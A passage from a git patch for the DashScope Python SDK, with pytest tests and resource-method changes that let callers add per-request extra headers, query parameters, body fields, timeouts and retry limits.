t.request("GET", "/x", options=options) + assert rec.last.headers["x-experiment"] == "on" + + +def test_extra_headers_override_sdk_identity_case_insensitively(no_sleep): + rec = _Recorder() + t = _make_sync(rec) + options = RequestOptions( + extra_headers={"X-DashScope-SDK-Client": "custom/1.0"}, + ) + t.request("GET", "/x", options=options) + sent = rec.last.headers + assert sent["x-dashscope-sdk-client"] == "custom/1.0" + # A case-insensitive override replaces rather than duplicates. + assert len(sent.get_list("x-dashscope-sdk-client")) == 1 + + +def test_extra_headers_beat_caller_headers_on_the_same_key(no_sleep): + rec = _Recorder() + t = _make_sync(rec) + options = RequestOptions(extra_headers={"X-Trace": "extra"}) + t.request("GET", "/x", headers={"X-Trace": "caller"}, options=options) + assert rec.last.headers["x-trace"] == "extra" + + +def test_extra_headers_beat_per_call_credentials(no_sleep): + # Documented precedence puts extra_headers above everything, so a + # caller can point one request at a different key than the client. + rec = _Recorder() + t = _make_sync(rec, api_key="client-key") + options = RequestOptions(extra_headers={"Authorization": "Bearer extra"}) + t.request("GET", "/x", api_key="per-call", options=options) + assert rec.last.headers["authorization"] == "Bearer extra" + + +def test_extra_query_joins_the_query_string(no_sleep): + rec = _Recorder() + t = _make_sync(rec) + options = RequestOptions(extra_query={"beta": "true"}) + t.request("GET", "/x", params={"page_no": 1}, options=options) + assert rec.sent_query() == {"page_no": "1", "beta": "true"} + + +def test_extra_body_deep_merges_into_json(no_sleep): + rec = _Recorder() + t = _make_sync(rec) + options = RequestOptions(extra_body={"params": {"seed": 7}}) + t.request( + "POST", + "/chat", + json={"model": "qwen-max", "params": {"top_p": 0.5}}, + options=options, + ) + assert rec.sent_json() == { + "model": "qwen-max", + "params": {"top_p": 0.5, "seed": 7}, + } + + +def test_extra_body_on_a_request_without_a_json_body(no_sleep): + rec = _Recorder() + t = _make_sync(rec) + options = RequestOptions(extra_body={"flag": True}) + t.request("POST", "/x", options=options) + assert rec.sent_json() == {"flag": True} + + +def test_extra_body_is_ignored_with_a_warning_for_raw_content( + no_sleep, + caplog, +): + rec = _Recorder() + t = _make_sync(rec) + options = RequestOptions(extra_body={"flag": True}) + with caplog.at_level(logging.WARNING, logger="dashscope._logging"): + t.request("POST", "/upload", content=b"raw", options=options) + assert rec.last.content == b"raw" + messages = [r.getMessage() for r in caplog.records] + assert any("ignoring extra_body" in m for m in messages) + + +def test_options_timeout_applies_when_the_call_omits_its_own(no_sleep): + rec = _Recorder() + t = _make_sync(rec) + t.request("GET", "/x", options=RequestOptions(timeout=3.5)) + assert rec.sent_timeout()["read"] == 3.5 + + +def test_call_timeout_wins_over_options_timeout(no_sleep): + rec = _Recorder() + t = _make_sync(rec) + t.request( + "GET", + "/x", + timeout=8.0, + options=RequestOptions(timeout=3.5), + ) + assert rec.sent_timeout()["read"] == 8.0 + + +def test_extra_body_is_ignored_with_a_warning_for_a_non_object_json( + no_sleep, + caplog, +): + rec = _Recorder() + t = _make_sync(rec) + options = RequestOptions(extra_body={"flag": True}) + with caplog.at_level(logging.WARNING, logger="dashscope._logging"): + t.request("POST", "/batch", json=[{"a": 1}], options=options) + assert rec.sent_json() == [{"a": 1}] + messages = [r.getMessage() for r in caplog.records] + assert any("body is list" in m for m in messages) + + +def test_max_retries_zero_disables_retrying_for_one_call(no_sleep): + rec = _Recorder([(503, {})]) + t = _make_sync(rec, max_retries=3) + resp = t.request("GET", "/x", options=RequestOptions(max_retries=0)) + assert resp.status_code == 503 + assert rec.calls == 1 + + +def test_max_retries_one_retries_once(no_sleep): + rec = _Recorder([(503, {}), (503, {}), (200, {})]) + t = _make_sync(rec, max_retries=5) + resp = t.request("GET", "/x", options=RequestOptions(max_retries=1)) + assert resp.status_code == 503 + assert rec.calls == 2 + assert len(no_sleep) == 1 + + +def test_max_retries_override_also_caps_transport_error_retries(no_sleep): + rec = _Recorder([httpx.ConnectError("boom") for _ in range(4)]) + t = _make_sync(rec, max_retries=5) + with pytest.raises(APIConnectionError): + t.request("GET", "/x", options=RequestOptions(max_retries=1)) + assert rec.calls == 2 + + +def test_without_options_the_client_default_retry_budget_applies(no_sleep): + rec = _Recorder([(503, {}), (503, {}), (200, {})]) + t = _make_sync(rec, max_retries=2) + resp = t.request("GET", "/x") + assert resp.status_code == 200 + assert rec.calls == 3 + + +def test_no_options_sends_no_extra_headers_or_query(no_sleep): + rec = _Recorder() + t = _make_sync(rec, api_key="client-key") + t.request("GET", "/x", params={"page_no": 1}, json={"a": 1}) + assert rec.sent_query() == {"page_no": "1"} + assert rec.sent_json() == {"a": 1} + assert rec.last.headers["authorization"] == "Bearer client-key" + assert "x-experiment" not in rec.last.headers + + +def test_open_stream_applies_options(no_sleep): + rec = _Recorder() + t = _make_sync(rec) + options = RequestOptions( + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + extra_body={"params": {"seed": 7}}, + max_retries=0, + ) + t.open_stream( + "POST", + "/chat", + json={"params": {"top_p": 0.5}}, + options=options, + ).close() + assert rec.last.headers["x-experiment"] == "on" + assert rec.sent_query() == {"beta": "true"} + assert rec.sent_json() == {"params": {"top_p": 0.5, "seed": 7}} + + +# -------------------------------------------------------------------------- +# Async transport: same contract +# -------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_async_extra_headers_and_query_and_body(no_sleep): + rec = _Recorder() + t = _make_async(rec) + options = RequestOptions( + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + extra_body={"params": {"seed": 7}}, + ) + await t.request( + "POST", + "/chat", + params={"page_no": 1}, + headers={"X-Trace": "caller"}, + json={"params": {"top_p": 0.5}}, + options=options, + ) + assert rec.last.headers["x-experiment"] == "on" + assert rec.last.headers["x-trace"] == "caller" + assert rec.sent_query() == {"page_no": "1", "beta": "true"} + assert rec.sent_json() == {"params": {"top_p": 0.5, "seed": 7}} + await t.aclose() + + +@pytest.mark.asyncio +async def test_async_extra_headers_beat_caller_headers(no_sleep): + rec = _Recorder() + t = _make_async(rec) + options = RequestOptions(extra_headers={"X-Trace": "extra"}) + await t.request( + "GET", + "/x", + headers={"X-Trace": "caller"}, + options=options, + ) + assert rec.last.headers["x-trace"] == "extra" + await t.aclose() + + +@pytest.mark.asyncio +async def test_async_max_retries_zero_disables_retrying(no_sleep): + rec = _Recorder([(503, {})]) + t = _make_async(rec, max_retries=3) + resp = await t.request("GET", "/x", options=RequestOptions(max_retries=0)) + assert resp.status_code == 503 + assert rec.calls == 1 + await t.aclose() + + +@pytest.mark.asyncio +async def test_async_max_retries_one_retries_once(no_sleep): + rec = _Recorder([(503, {}), (503, {}), (200, {})]) + t = _make_async(rec, max_retries=5) + resp = await t.request("GET", "/x", options=RequestOptions(max_retries=1)) + assert resp.status_code == 503 + assert rec.calls == 2 + assert len(no_sleep) == 1 + await t.aclose() + + +@pytest.mark.asyncio +async def test_async_options_timeout_applies(no_sleep): + rec = _Recorder() + t = _make_async(rec) + await t.request("GET", "/x", options=RequestOptions(timeout=3.5)) + assert rec.sent_timeout()["read"] == 3.5 + await t.aclose() + + +@pytest.mark.asyncio +async def test_async_open_stream_applies_options(no_sleep): + rec = _Recorder() + t = _make_async(rec) + options = RequestOptions( + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + extra_body={"params": {"seed": 7}}, + ) + response = await t.open_stream( + "POST", + "/chat", + json={"params": {"top_p": 0.5}}, + options=options, + ) + await response.aclose() + assert rec.last.headers["x-experiment"] == "on" + assert rec.sent_query() == {"beta": "true"} + assert rec.sent_json() == {"params": {"top_p": 0.5, "seed": 7}} + await t.aclose() + + +@pytest.mark.asyncio +async def test_async_extra_body_ignored_with_warning_for_raw_content( + no_sleep, + caplog, +): + rec = _Recorder() + t = _make_async(rec) + options = RequestOptions(extra_body={"flag": True}) + with caplog.at_level(logging.WARNING, logger="dashscope._logging"): + await t.request("POST", "/upload", content=b"raw", options=options) + assert rec.last.content == b"raw" + messages = [r.getMessage() for r in caplog.records] + assert any("ignoring extra_body" in m for m in messages) + await t.aclose() diff --git a/tests/test_resource_request_options.py b/tests/test_resource_request_options.py new file mode 100644 index 00000000..4c64bd9c --- /dev/null +++ b/tests/test_resource_request_options.py @@ -0,0 +1,359 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Resource methods forward the three ``extra_*`` escape hatches (T1). + +The transport-level semantics (merge order, deep merge, retry override) +live in ``tests/test_request_options.py``; this file only pins that each +wired resource actually hands them over. +""" + +# pytest fixture injection looks like unused/redefined names to pylint. +# pylint: disable=redefined-outer-name,unused-argument + +from __future__ import annotations + +import json + +import httpx +import pytest + +from dashscope import AsyncClient, Client + +BASE_URL = "https://api.test.local/api/v1" + +_MODELS_BODY = { + "request_id": "r", + "output": { + "page_no": 1, + "page_size": 10, + "total": 1, + "models": [{"model": "qwen-plus", "source": "dashscope"}], + }, +} +_FILES_BODY = { + "request_id": "r", + "data": { + "page_no": 1, + "page_size": 10, + "total": 1, + "files": [{"file_id": "f-1", "name": "t.jsonl", "size": 10}], + }, +} +_EMBEDDINGS_BODY = { + "request_id": "r", + "output": {"embeddings": [{"index": 0, "embedding": [0.1, 0.2]}]}, +} +_JOB_PENDING = { + "request_id": "r", + "output": {"task_id": "t-1", "task_status": "PENDING"}, +} +_JOB_DONE = { + "request_id": "r", + "output": {"task_id": "t-1", "task_status": "SUCCEEDED"}, +} +_JOB_LIST_BODY = { + "request_id": "r", + "page_no": 1, + "page_size": 10, + "total": 0, + "tasks": [], +} +_CHAT_BODY = {"request_id": "r", "output": {"text": "hi"}} + + +class _Capture: + """Mock handler recording every request and answering one body.""" + + def __init__(self, body=None, content=None, headers=None): + self._body = body + self._content = content + self._headers = dict(headers or {}) + self.requests = [] + + def __call__(self, request: httpx.Request) -> httpx.Response: + self.requests.append(request) + if self._content is not None: + return httpx.Response( + 200, + content=self._content, + headers=self._headers, + ) + return httpx.Response(200, json=self._body, headers=self._headers) + + @property + def last(self) -> httpx.Request: + return self.requests[-1] + + def sent_json(self): + return json.loads(self.last.content) + + def sent_query(self): + return dict(self.last.url.params) + + +def _client(capture, **kwargs): + http_client = httpx.Client( + transport=httpx.MockTransport(capture), + base_url=BASE_URL, + ) + kwargs.setdefault("base_url", BASE_URL) + return Client(api_key="sk-test", http_client=http_client, **kwargs) + + +def _async_client(capture, **kwargs): + http_client = httpx.AsyncClient( + transport=httpx.MockTransport(capture), + base_url=BASE_URL, + ) + kwargs.setdefault("base_url", BASE_URL) + return AsyncClient(api_key="sk-test", http_client=http_client, **kwargs) + + +# -------------------------------------------------------------------------- +# models +# -------------------------------------------------------------------------- + + +def test_models_list_forwards_all_three_extras(): + cap = _Capture(_MODELS_BODY) + client = _client(cap) + result = client.models.list( + page_size=3, + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + ) + assert result.total_count == 1 + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query() == { + "page_no": "1", + "page_size": "3", + "beta": "true", + } + + +def test_models_get_forwards_extra_headers(): + cap = _Capture(_MODELS_BODY) + client = _client(cap) + client.models.get("qwen-plus", extra_headers={"X-Experiment": "on"}) + assert cap.last.headers["x-experiment"] == "on" + + +# -------------------------------------------------------------------------- +# files +# -------------------------------------------------------------------------- + + +def test_files_list_forwards_extras(): + cap = _Capture(_FILES_BODY) + client = _client(cap) + listed = client.files.list( + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + ) + assert listed.files[0].file_id == "f-1" + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query()["beta"] == "true" + + +def test_files_get_forwards_extra_headers(): + cap = _Capture({"request_id": "r"}) + client = _client(cap) + client.files.get("f-1", extra_headers={"X-Experiment": "on"}) + assert cap.last.headers["x-experiment"] == "on" + + +def test_files_upload_forwards_extra_headers(tmp_path): + cap = _Capture( + { + "request_id": "r", + "data": { + "uploaded_files": [{"name": "t.jsonl", "file_id": "f-1"}], + }, + }, + ) + file_path = tmp_path / "t.jsonl" + file_path.write_text('{"a": 1}\n', encoding="utf-8") + client = _client(cap) + client.files.upload( + file_path=str(file_path), + purpose="fine-tune", + extra_headers={"X-Experiment": "on"}, + ) + assert cap.last.headers["x-experiment"] == "on" + assert cap.last.headers["content-type"].startswith("multipart/form-data") + + +def test_files_delete_forwards_extra_query(): + cap = _Capture({"request_id": "r", "data": {"deleted": True}}) + client = _client(cap) + client.files.delete("f-1", extra_query={"beta": "true"}) + assert cap.sent_query() == {"beta": "true"} + + +# -------------------------------------------------------------------------- +# embeddings (direct transport call + jobs facade) +# -------------------------------------------------------------------------- + + +def test_embeddings_create_deep_merges_extra_body(): + cap = _Capture(_EMBEDDINGS_BODY) + client = _client(cap) + result = client.embeddings.create( + model="text-embedding-v4", + input=["hello"], + extra_body={"parameters": {"seed": 7}}, + extra_headers={"X-Experiment": "on"}, + ) + assert result.embeddings[0].index == 0 + body = cap.sent_json() + assert body["parameters"]["seed"] == 7 + assert cap.last.headers["x-experiment"] == "on" + + +def test_embeddings_jobs_create_forwards_extra_headers(): + cap = _Capture(_JOB_PENDING) + client = _client(cap) + job = client.embeddings.jobs.create( + model="text-embedding-v4", + file_url="https://example.test/in.jsonl", + extra_headers={"X-Experiment": "on"}, + ) + assert job.task_id == "t-1" + assert cap.last.headers["x-experiment"] == "on" + + +def test_extra_headers_beat_the_resource_own_submit_header(): + # jobs.create sends X-DashScope-Async itself; extra_headers is the + # highest layer, so it can override what the resource set. + cap = _Capture(_JOB_PENDING) + client = _client(cap) + client.embeddings.jobs.create( + model="text-embedding-v4", + file_url="https://example.test/in.jsonl", + extra_headers={"X-DashScope-Async": "disable"}, + ) + assert cap.last.headers["x-dashscope-async"] == "disable" + + +def test_embeddings_jobs_list_forwards_extra_query(): + cap = _Capture(_JOB_LIST_BODY) + client = _client(cap) + client.embeddings.jobs.list( + page_size=5, + extra_query={"beta": "true"}, + ) + assert cap.sent_query() == { + "page_no": "1", + "page_size": "5", + "beta": "true", + } + + +def test_embeddings_jobs_wait_forwards_extras_to_every_poll(): + cap = _Capture(_JOB_DONE) + client = _client(cap) + job = client.embeddings.jobs.wait( + "t-1", + extra_headers={"X-Experiment": "on"}, + _sleep=lambda seconds: None, + ) + assert job.succeeded + assert cap.last.headers["x-experiment"] == "on" + + +# -------------------------------------------------------------------------- +# chat completions (non-streaming, streaming, async) +# -------------------------------------------------------------------------- + + +def test_chat_create_forwards_all_three_extras(): + cap = _Capture(_CHAT_BODY) + client = _client(cap) + result = client.chat.completions.create( + model="qwen-plus", + messages=[{"role": "user", "content": "hi"}], + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + extra_body={"parameters": {"seed": 7}}, + ) + assert result.output_text == "hi" + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query() == {"beta": "true"} + assert cap.sent_json()["parameters"]["seed"] == 7 + + +def test_chat_stream_forwards_extra_headers(): + cap = _Capture( + content=b'data:{"output":{"text":"hi"},"request_id":"r"}\n\n', + headers={"content-type": "text/event-stream"}, + ) + client = _client(cap) + stream = client.chat.completions.create( + model="qwen-plus", + messages=[{"role": "user", "content": "hi"}], + stream=True, + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + ) + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query() == {"beta": "true"} + stream.close() + + +@pytest.mark.asyncio +async def test_async_models_list_forwards_extras(): + cap = _Capture(_MODELS_BODY) + client = _async_client(cap) + result = await client.models.list( + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + ) + assert result.total_count == 1 + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query()["beta"] == "true" + await client.aclose() + + +@pytest.mark.asyncio +async def test_async_chat_create_forwards_extra_body(): + cap = _Capture(_CHAT_BODY) + client = _async_client(cap) + result = await client.chat.completions.create( + model="qwen-plus", + messages=[{"role": "user", "content": "hi"}], + extra_headers={"X-Experiment": "on"}, + extra_body={"parameters": {"seed": 7}}, + ) + assert result.output_text == "hi" + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_json()["parameters"]["seed"] == 7 + await client.aclose() + + +@pytest.mark.asyncio +async def test_async_embeddings_jobs_fetch_forwards_extras(): + cap = _Capture(_JOB_DONE) + client = _async_client(cap) + job = await client.embeddings.jobs.fetch( + "t-1", + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + ) + assert job.succeeded + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query() == {"beta": "true"} + await client.aclose() + + +# -------------------------------------------------------------------------- +# Nothing changes for callers that do not use the escape hatch +# -------------------------------------------------------------------------- + + +def test_call_without_extras_sends_the_same_request_as_before(): + cap = _Capture(_MODELS_BODY) + client = _client(cap) + client.models.list(page_no=1, page_size=3) + assert cap.sent_query() == {"page_no": "1", "page_size": "3"} + assert "x-experiment" not in cap.last.headers + assert cap.last.headers["authorization"] == "Bearer sk-test" From 8ac41c2587c2345d809b06c20185194f61d7e0af Mon Sep 17 00:00:00 2001 From: luk384090-cloud Date: Fri, 30 Oct 2026 18:56:52 +0800 Subject: [PATCH 03/26] feat(transport): support per-request options across all resources - Thread RequestOptions through chat, embeddings, files, models, and jobs - Refactor transport header merging to support extra_headers override - Integrate deep_merge for extra_body, merge_query for extra_query - Apply resolve_timeout and resolve_max_retries per call when options present - Export RequestOptions from transport package for public use --- dashscope/resources/_jobs.py | 106 ++++++++++++++- dashscope/resources/chat/completions.py | 47 ++++++- dashscope/resources/embeddings.py | 88 +++++++++++- dashscope/resources/files.py | 67 +++++++++- dashscope/resources/models.py | 35 ++++- dashscope/transport/__init__.py | 8 +- dashscope/transport/http.py | 171 ++++++++++++++++++------ 7 files changed, 475 insertions(+), 47 deletions(-) diff --git a/dashscope/resources/_jobs.py b/dashscope/resources/_jobs.py index be8dd1f9..8a01d4c7 100644 --- a/dashscope/resources/_jobs.py +++ b/dashscope/resources/_jobs.py @@ -13,7 +13,16 @@ import asyncio import time -from typing import Any, Awaitable, Callable, Dict, List, Optional, Union +from typing import ( + Any, + Awaitable, + Callable, + Dict, + List, + Mapping, + Optional, + Union, +) from pydantic import AliasChoices, BaseModel, ConfigDict, Field @@ -23,6 +32,7 @@ error_from_business_code, response_json, ) +from dashscope.transport._options import request_options from dashscope.types.common import ( ResponseBase, Usage, @@ -263,6 +273,9 @@ def create( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> Job: """Submit a task; returns immediately with a PENDING/RUNNING Job.""" body: Dict[str, Any] = {"model": model, "input": input} @@ -282,6 +295,11 @@ def create( # pylint: disable=redefined-builtin sdk_module=self._module, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return self._parse(response) @@ -293,6 +311,9 @@ def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> Job: """Fetch one task snapshot; raises on FAILED status.""" response = self._client.transport.request( @@ -302,6 +323,11 @@ def fetch( sdk_module=self._module, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return self._parse(response) @@ -313,6 +339,9 @@ def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> Job: """Cancel a PENDING task (1.x: ``POST /tasks/{task_id}/cancel``).""" response = self._client.transport.request( @@ -322,6 +351,11 @@ def cancel( sdk_module=self._module, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return self._parse(response) @@ -340,6 +374,9 @@ def list( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> JobList: """List async tasks (1.x: ``GET /tasks`` with page_no/page_size).""" response = self._client.transport.request( @@ -359,6 +396,11 @@ def list( # pylint: disable=redefined-builtin sdk_module=self._module, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers( @@ -375,6 +417,9 @@ def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, _sleep: Optional[Callable[[float], Any]] = None, ) -> Job: """Poll with exponential backoff until the task finishes. @@ -397,7 +442,14 @@ def wait( current = ( job if isinstance(job, Job) - else self.fetch(task_id, api_key=api_key, workspace=workspace) + else self.fetch( + task_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + ) ) interval = poll_interval while not current.finished: @@ -413,7 +465,14 @@ def wait( ) sleep_fn(min(interval, remaining)) interval = min(interval * 2, max_interval) - current = self.fetch(task_id, api_key=api_key, workspace=workspace) + current = self.fetch( + task_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + ) return self._check_canceled(current) def _parse(self, response: Any) -> Job: @@ -465,6 +524,9 @@ async def create( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> Job: body: Dict[str, Any] = {"model": model, "input": input} if parameters is not None: @@ -483,6 +545,11 @@ async def create( # pylint: disable=redefined-builtin sdk_module=self._module, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return self._parse(response) @@ -494,6 +561,9 @@ async def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> Job: response = await self._client.transport.request( "GET", @@ -502,6 +572,11 @@ async def fetch( sdk_module=self._module, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return self._parse(response) @@ -513,6 +588,9 @@ async def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> Job: """Cancel a PENDING task (1.x: ``POST /tasks/{task_id}/cancel``).""" response = await self._client.transport.request( @@ -522,6 +600,11 @@ async def cancel( sdk_module=self._module, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return self._parse(response) @@ -540,6 +623,9 @@ async def list( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> JobList: """List async tasks (1.x: ``GET /tasks`` with page_no/page_size).""" response = await self._client.transport.request( @@ -559,6 +645,11 @@ async def list( # pylint: disable=redefined-builtin sdk_module=self._module, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers( @@ -575,6 +666,9 @@ async def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, _sleep: Optional[Callable[[float], Awaitable[None]]] = None, ) -> Job: """Async twin of :meth:`Jobs.wait`, same compat-mode contract.""" @@ -588,6 +682,9 @@ async def wait( task_id, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, ) ) interval = poll_interval @@ -608,6 +705,9 @@ async def wait( task_id, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, ) return self._check_canceled(current) diff --git a/dashscope/resources/chat/completions.py b/dashscope/resources/chat/completions.py index ac195e79..e93c6777 100644 --- a/dashscope/resources/chat/completions.py +++ b/dashscope/resources/chat/completions.py @@ -9,7 +9,17 @@ from __future__ import annotations from dataclasses import replace -from typing import Any, Dict, Iterator, List, Optional, Tuple, Union, overload +from typing import ( + Any, + Dict, + Iterator, + List, + Mapping, + Optional, + Tuple, + Union, + overload, +) from typing_extensions import Literal @@ -32,6 +42,7 @@ SearchInfo, StreamChoice, ) +from dashscope.transport._options import RequestOptions, request_options from dashscope.transport.sse import AsyncStream, Stream from dashscope.types.messages import ( Message, @@ -656,6 +667,7 @@ def _send( api_key: Optional[str], workspace: Optional[str], timeout: Optional[float], + options: Optional[RequestOptions] = None, ) -> Union[ChatCompletion, ChatStream]: transport = client.transport base_url = client.config.protocol_base_url @@ -670,6 +682,7 @@ def _send( workspace=workspace, sdk_module=module, timeout=timeout, + options=options, ) return ChatStream( Stream(response, client.protocol.make_chunk_parser()), @@ -686,6 +699,7 @@ def _send( workspace=workspace, sdk_module=module, timeout=timeout, + options=options, ) error_result = _checked_completion(client, response) if error_result is not None: @@ -707,6 +721,7 @@ async def _asend( api_key: Optional[str], workspace: Optional[str], timeout: Optional[float], + options: Optional[RequestOptions] = None, ) -> Union[ChatCompletion, AsyncChatStream]: transport = client.transport base_url = client.config.protocol_base_url @@ -721,6 +736,7 @@ async def _asend( workspace=workspace, sdk_module=module, timeout=timeout, + options=options, ) return AsyncChatStream( AsyncStream(response, client.protocol.make_chunk_parser()), @@ -737,6 +753,7 @@ async def _asend( workspace=workspace, sdk_module=module, timeout=timeout, + options=options, ) error_result = _checked_completion(client, response) if error_result is not None: @@ -782,6 +799,9 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> ChatStream: ... @@ -816,6 +836,9 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> ChatCompletion: ... @@ -849,6 +872,9 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> Union[ChatCompletion, ChatStream]: built = _build_request( self._client, @@ -891,6 +917,11 @@ def create( api_key=api_key, workspace=workspace, timeout=timeout, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) @@ -929,6 +960,9 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> AsyncChatStream: ... @@ -963,6 +997,9 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> ChatCompletion: ... @@ -996,6 +1033,9 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> Union[ChatCompletion, AsyncChatStream]: # The upload path is blocking (file post + getPolicy), so the whole # request build runs in a worker thread -- over a transport bridged @@ -1042,4 +1082,9 @@ async def create( api_key=api_key, workspace=workspace, timeout=timeout, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) diff --git a/dashscope/resources/embeddings.py b/dashscope/resources/embeddings.py index b2ae1508..0acbc73b 100644 --- a/dashscope/resources/embeddings.py +++ b/dashscope/resources/embeddings.py @@ -10,7 +10,16 @@ from __future__ import annotations -from typing import Any, Awaitable, Callable, Dict, List, Optional, Union +from typing import ( + Any, + Awaitable, + Callable, + Dict, + List, + Mapping, + Optional, + Union, +) from pydantic import AliasChoices, BaseModel, ConfigDict, Field @@ -24,6 +33,7 @@ JobList, Jobs, ) +from dashscope.transport._options import request_options from dashscope.types.common import ( ResponseBase, Usage, @@ -126,6 +136,9 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> Job: """Submit a batch task over one file whose lines are the texts. @@ -144,6 +157,9 @@ def create( api_key=api_key, workspace=workspace, timeout=timeout, + extra_headers=extra_headers, + extra_query=extra_query, + 